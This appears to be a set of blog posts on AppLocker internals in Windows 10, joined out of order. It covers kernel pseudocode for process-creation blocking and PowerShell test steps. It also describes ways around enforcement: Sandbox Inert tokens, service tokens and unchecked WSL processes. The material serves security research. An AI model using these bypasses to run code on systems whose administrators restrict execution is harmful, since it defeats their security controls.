There's also a more subtle edge case here if you look back at the code. If you create a restricted token of a UAC admin token then process creation typically fails during the policy check. When the UAC token is a full admin token the second call to ZwQueryInformationToken will not be made which results in NewToken being NULL. However in the final check, IsRestricted is TRUE so the second condition is checked, as status is STATUS_SUCCESS (from the first call to ZwQueryInformationToken) this passes and we enter the if block without ever calling SeGetLogonSessionToken. As NewToken is still NULL AccessCheckToken is set to the primary process token which is the restricted token which will cause the subsequent access check to fail. This is actually a long standing bug in Chromium, it can't be run as UAC admin if AppLocker is enforced.
That's the end of how AL does process enforcement. Hopefully it's been helpful. Next time I'll dig into how DLL enforcement works.
Locking Resources to Specific Processes
Set-NtSecurityDescriptor \??\C:\TEMP\ABC.TXT `
-SecurityDescriptor 'D:(XA;;GA;;;WD;(APPID://PATH Contains "%SYSTEM32%\NOTEPAD.EXE"))' `
-SecurityInformation Dacl
Make sure that the path is in all upper case. You should now find that while PowerShell (or any other application) can't open the text file you can open and modify it just fine in notepad. Of course this won't work across network boundaries and is pretty easy to get around, but that's not my problem ;-)
The Internals of AppLocker - Part 2 - Blocking Process Creation
In the previous blog post I briefly discussed the architecture of AppLocker (AL) and how to setup a really basic test system based on Windows 10 1909 Enterprise. This time I'm going to start going into more depth about how AL blocks the creation of processes which are not permitted by policy. I'll reiterate in case you've forgotten that what I'm describing is the internals on Windows 10 1909, the details can and also certainly are different on other operating systems.
How Can You Block Process Creation?
When the APPID driver starts it registers a process notification callback with the PsSetCreateProcessNotifyRoutineEx API. A process notification callback can return an error code by assigning to the CreationStatus field of the PS_CREATE_NOTIFY_INFO structure to block process creation. If the kernel detects a callback setting an error code then the process is immediately terminated by calling PsTerminateProcess.An interesting observation is that the process notification callback is NOT called when the process object is created. It's actually called when the first thread is inserted into the process. The callback is made in the context of the thread creating the new thread, which is usually the thread creating the process, but it doesn't have to be. If you look in the PspInsertThread function in the kernel you'll find code which looks like the following:
if (++Process->ActiveThreads == 1)
CurrentFlags |= FLAG_FIRST_THREAD;
// ...
if (CurrentFlags & FLAG_FIRST_THREAD) {
if (!Process->Flags3.Minimal || Process->PicoContext)
PspCallProcessNotifyRoutines(Process);
}
This code first increments the active thread count for the process. If the current count is 1 then a flag is set for use later in the function. Further on the call is made to PspCallProcessNotifyRoutines to invoke the registered callbacks, which is where the APPID callback will be invoked.
The behavior of blocking process creation after the process has been created is the key difference between WDAC and AL. WDAC prevents the creation of any executable code which doesn't meet the defined policy, therefore if you try and create a process with an executable file which doesn't match the policy it'll fail very early in process creation. However AL will allow you to create a process, doing many of the initialization tasks, and only once a thread is inserted into the process will the rug be pulled away.
The use of the process notification callback does have one current weakness, it doesn't work on Windows Subsystem for Linux processes. And when I say it doesn't work the APPID callback never gets invoked, and as process creation is blocked by invoking the callback this means any WSL process will run unmolested.
It isn't anything to do with the the checks for Minimal/PicoContext in the code above (or seemingly due to image formats as Alex Ionescu mentioned in his talk on WSL although that might be why AL doesn;t even try), but it's due to the way the APPID driver has enabled its notification callback. Specifically APPID calls the PsSetCreateProcessNotifyRoutineEx method, however this will not generate callbacks for WSL processes. Instead APPID needs to use PsSetCreateProcessNotifyRoutineEx2 to get callbacks for WSL processes. While it's probably not worth MS implementing actual AL support for WSL processes I'm surprised they don't give an option to block outright rather than just allowing anything to run.
Why Does AppLocker Decide to Block a Process?
We now know how process creation is blocked, but we don't know why AL decides a process should be blocked. Of course we have our configured rules which much be enforced somehow. Each rule consists of three parts:- Whether the rule allows the process to be created or whether it denies creation.
- The User or Group the rule applies to.
- The property that the rule checks for, this could be an executable path, the hash of the executable file or publisher certificate and version information. A simple path example is "%WINDIR%\*" which allows any executable to run as long as it's located under the Windows Directory.
void AiProcessNotifyRoutine(PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
PUNICODE_STRING ImageFileName;
if (CreateInfo->FileOpenNameAvailable)
ImageFileName = CreateInfo->ImageFileName;
else
SeLocateProcessImageName(Process,
&ImageFileName);
CreateInfo->CreationStatus = AipCreateProcessNotifyRoutine(
ProcessId, ImageFileName,
CreateInfo->FileObject,
Process, CreateInfo);
}
The first thing the callback does is extract the path to the executable image for the process being checked. The PS_CREATE_NOTIFY_INFO structure passed to the callback can contain the image file path if the FileOpenNameAvailable flag is set. However there are situations where this flag is not set (such as in WSL) in which case the code gets the path using SeLocateProcessImageName. We know that having the full image path is important as that's one of the main selection criteria in the AL rule sets.
The next call is to the inner function, AipCreateProcessNotifyRoutine. The returned status code from this function is assigned to CreationStatus so if this function fails then the process will be terminated. There's a lot going on in this function, I'm going to simplify it as much as I can to get the basic gist of what's going on while glossing over some features such as AppX support and Smart Locker (though they might come back in a later blog post). For now it looks like the following:
NTSTATUS AipCreateProcessNotifyRoutine(
HANDLE ProcessId,
PUNICODE_STRING ImageFileName,
PFILE_OBJECT ImageFileObject,
PVOID Process,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
POLICY* policy = SrpGetPolicy();
if (!policy)
return STATUS_ACCESS_DISABLED_BY_POLICY_OTHER;
HANDLE ProcessToken;
HANDLE AccessCheckToken;
AiGetTokens(ProcessId, &ProcessToken, &AccessCheckToken);
if (AiIsTokenSandBoxed(ProcessToken))
return STATUS_SUCCESS;
BOOLEAN ServiceToken = SrpIsTokenService(ProcessToken);
if (SrpServiceBypass(Policy, ServiceToken, 0, TRUE))
return STATUS_SUCCESS;
HANDLE FileHandle;
AiOpenImageFile(ImageFileName,
ImageFileObject,
&FileHandle);
AiSetAttributesExe(Policy, FileHandle,
ProcessToken, AccessCheckToken);
NTSTATUS result = SrppAccessCheck(
AccessCheckToken,
Policy);
if (!NT_SUCCESS(result)) {
AiLogFileAndStatusEvent(...);
if (Policy->AuditOnly)
result = STATUS_SUCCESS;
}
return result;
}
A lot to unpack here, be we can start at the beginning. The first thing the code does is request the current global policy object. If there doesn't exist a configured policy then the status code STATUS_ACCESS_DISABLED_BY_POLICY_OTHER is returned. You'll see this status code come up a lot when the process is blocked. Normally even if AL isn't enabled there's still a policy object, it'll just be configured to not block anything. I could imagine if somehow there was no global policy then every process creation would fail, which would not be good.
Next we get into the core of the check, first with a call to the function AiGetTokens. This functions opens a handle to the target process' access token based on its PID (why it doesn't just use the Process object from the PS_CREATE_NOTIFY_INFO structure escapes me, but this is probably just legacy code). It also returns a second token handle, the access check token, we'll see how this is important later.
The code then checks two things based on the process token. First it checks if the token is AiIsTokenSandBoxed. Unfortunately this is badly named, at least in a modern context as it doesn't refer to whether the token is a restricted token such as used in web browser sandboxes. What this is actually checking is whether the token has the Sandbox Inert flag set. One way of setting this flag is by calling CreateRestrictedToken passing the SANDBOX_INERT flag. Since Windows 8, or Windows with KB2532445 installed the "caller must be running as LocalSystem or TrustedInstaller or the system ignores this flag" according to the documentation. The documentation isn't entirely correct on this point, if you go and look at the implementation in NtFilterToken you'll find you can also set the flag if you're have the SERVICE SID, which is basically all services regardless of type. The result of this check is if the process token has the Sandbox Inert flag set then a success code is returned and AL is bypassed for this new process.
The second check determines if the token is a service token, first calling SrpIsTokenService to get a true or false value, then calls SrpServiceBypass to determine if the current policy allows service tokens to bypass the policy as well. If SrpServiceBypass returns true then the callback also returns a success code bypassing AL. However it seems it is possible to configure AL to enforce process checks on service processes, however I can't for the life of me find the documentation for this setting. It's probably far too dangerous a setting to allow the average sysadmin to use.
What's considered a service context is very similar to setting the Sandbox Inert flag with CreateRestrictedToken. If you have one of the following groups in the process token it's considered a service:
NT AUTHORITY\SYSTEM
NT AUTHORITY\SERVICE
NT AUTHORITY\RESTRICTED
NT AUTHORITY\WRITE RESTRICTED
With that out of the way, we now get on to the meat of the checking process. First the code opens a handle to the main executable's file object. Access to the file will be needed if the rules such as hash or publisher certificate are used. It'll open the file even if those rules are being used, just in case. Next a call is made to AiSetAttributesExe which takes the access token handles, the policy and the file handle. This must do something magical, but being the tease I am we'll leave this for now. Finally in this section a call is made to SrppAccessCheck which as its name suggests is doing the access check again the policy for whether this process is allowed to be created. Note that only the access check token is passed, not the process token.
The use of an access check, verifying a Security Descriptor against an Access Token makes perfect sense when you think of how rules are structured. The allow and deny rules correspond well to allow or deny ACEs for specific group SIDs. How the rule specification such as path restrictions are enforced is less clear but we'll leave the details of this for next time.
The result of the access check is the status code returned from AipCreateProcessNotifyRoutine which ends up being set to the CreationStatus field in the notification structure which can terminate the process. We can assume that this result will either be a success or an error code such as STATUS_ACCESS_DISABLED_BY_POLICY_OTHER.
One final step is necessary, logging an event if the access check failed. If the result of the access check is an error, but the policy is currently configured in Audit Only mode, i.e. not enforcing AL process creation then the log entry will be made but the status code is reset back to a success so that the kernel will not terminate the process.
Testing System Behavior
To do the test we'll need to install my NtObjectManager PowerShell module. We'll use the module more going forward so might as well install it now. To do that follow this procedure on the VM we setup last time:
- In an administrator PowerShell console, run the command 'Install-Module NtObjectManager'. Running this command as an admin allows the module to be installed in Program Files which is one of the permitted locations for Everyone in part 1's sample rules.
- Set the system execution policy to unrestricted from the same PowerShell window using the command 'Set-ExecutionPolicy -ExecutionPolicy Unrestricted'. This allows unsigned scripts to run for all users.
- Log in as the non-admin user, otherwise nothing will be enforced.
- Start a PowerShell console and ensure you can load the NtObjectManager module by running 'Import-Module NtObjectManager'. You shouldn't see any errors.
Now run the following three commands in the PowerShell windows. You might need to adjust the executable path as appropriate for the file you copied (and don't forget the \?? prefix).
$path = "\??\C:\Users\$env:USERNAME\Desktop\notepad.exe"
$sect = New-NtSectionImage -Path $path
$p = [NtApiDotNet.NtProcess]::CreateProcessEx($sect)
Get-NtStatus $p.ExitStatus
After the call to Get-NtStatus it should print that the current exit code for the process is STATUS_PENDING. This is an indication that the process is alive, although at the moment we don't have any code running in it. Now create a new thread in the process using the following:
[NtApiDotNet.NtThread]::Create($p, 0, 0, "Suspended", 4096)
Get-NtStatus $p.ExitStatus
After calling NtThread::Create you should receive an big red exception error and the call to Get-NtStatus should now show that the process returned error. To make it more clear I've reproduced the example in the following screenshot:
Monitoring linux system-calls the right way
The Internals of AppLocker - Part 1 - Overview and Setup
AppLocker (AL) is a feature added to Windows 7 Enterprise and above as a more comprehensive application white-listing solution over the older Software Restriction Policies (SRP). When configured it's capable of blocking the creation of processes using various different rules, such as the application path as well as optionally blocking DLLs, script code, MSI installers etc. Technology wise it's slowly being replaced by the more robust Windows Defender Application Control (WDAC) which was born out of User Mode Code Integrity (UMCI), however at the moment AL is still easier to configure in an enterprise environment. It's considered a "Defense in Depth" feature according to MSRC's security servicing criteria so unless you find a bug which gives you EoP or RCE it's not something Microsoft will fix with a security bulletin.
It's common to find documentation on configuring AL, even in bypassing it (see for example Oddvar Moe's case study series from his website) however the inner workings are usually harder to find. Some examples of documentation which go some way towards documenting AL internals that I could find are:
- How AppLocker works. (Official Microsoft documentation, you'll have to dig hard into the sub-pages to find details)
- Microsoft Windows Security (AppLocker) This is actually an excerpt from the Windows Internals book, but it saves you having to buy it :-)
Let's start with a basic overview of the various components and give a super quick setup guide for a basic AL enabled Windows 10 1909 Enterprise installation so that we can try things out in subsequent parts.
Component Overview
For DLL, Script and MSI enforcement various user-mode components access the SAFER APIs to determine whether code should run. The SAFER APIs might then call into the kernel driver or into the service over RPC depending on what it needs to do. I've summarized the various links in the following diagram.
- Startup the VM and login as an administrator, then run an admin PowerShell console.
- Download the Default AppLocker Policy file from GitHub and save it as policy.xml.
- Run the PowerShell command "Set-AppLockerPolicy -XmlPolicy policy.xml".
- Run the command "sc.exe config appidsvc start= auto".
- Reboot the VM.
- EXE Rules
- Allow Everyone group access to run any executable under %WINDIR% and %PROGRAMFILES%.
- Allow Administrators group to run any executable from anywhere.
- DLL Rules
- Allow Everyone group access to load any DLL under %WINDIR% and %PROGRAMFILES%.
- Allow Administrators group to load a DLL from anywhere.
- APPX Rules (Packages Applications, think store applications)
- Allow Everyone to load any signed, packaged application .
Where is the policy configuration stored? There's some data in the registry, but the core of the policy configuration is stored the directory %WINDIR%\SYSTEM32\APPLOCKER, separated by type. For example the executable configuration is in EXE.APPLOCKER, the other names should be self explanatory. When the files in this directory are modified a call is made to the driver to reload the policy configuration. If we take a look at one of these files in a hex editor you'll find they're nothing like the XML policy we put in (as shown below), we'll come back to what these files actually contain in part 3 of this blog series.